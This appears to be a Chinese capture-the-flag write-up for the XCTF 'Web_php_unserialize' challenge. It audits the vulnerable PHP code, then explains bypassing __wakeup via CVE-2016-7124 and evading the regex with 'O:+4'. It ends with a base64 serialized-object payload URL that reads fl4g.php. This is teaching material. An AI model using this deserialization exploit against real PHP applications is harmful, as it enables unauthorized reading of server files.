攻防世界Web_php_unserialize

解题
一打开就是代码,代码审计

  
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

分析代码

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); //对传入的var进行base64解密
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
        //如果输入的内容中有o或c或:后面有数字就输入字符串stop hacking!否者就反序列化变量var
    } 

分析类中的代码

class Demo { 
    private $file = 'index.php';
    //__construct()  - 在每次创建新对象时先调用此方法
    public function __construct($file) { 
        $this->file = $file; 
    }
    //__destruct()   - 对象的所有引用都被删除或者当对象被显式销毁时执行
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    //在反序列化unserialize时,会检查是否存在__wakeup方法,如果存在,则会调用__wakeup方法
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

根据分析我们可以知道:

__wakeup():在unserialize时会被调用
__construct():在使用new创建新对象的时候被调用
__destruct():在销毁一个类之前执行
首先我们要绕过__wakeup()这个魔术方法
利用CVE-2016-7124漏洞
我们序列化的字符串为:O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
我们可以把序列化后的字符串改为:O:4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}
(序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数)
绕过正则
preg_match(’/[oc]:\d+:/i’, $var)
可以在序列化的内容中O:4改为O:+4就可以绕过这个正则。
最后构造payload=http://124.126.19.106:53438/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

你可能感兴趣的:(攻防世界Web_php_unserialize)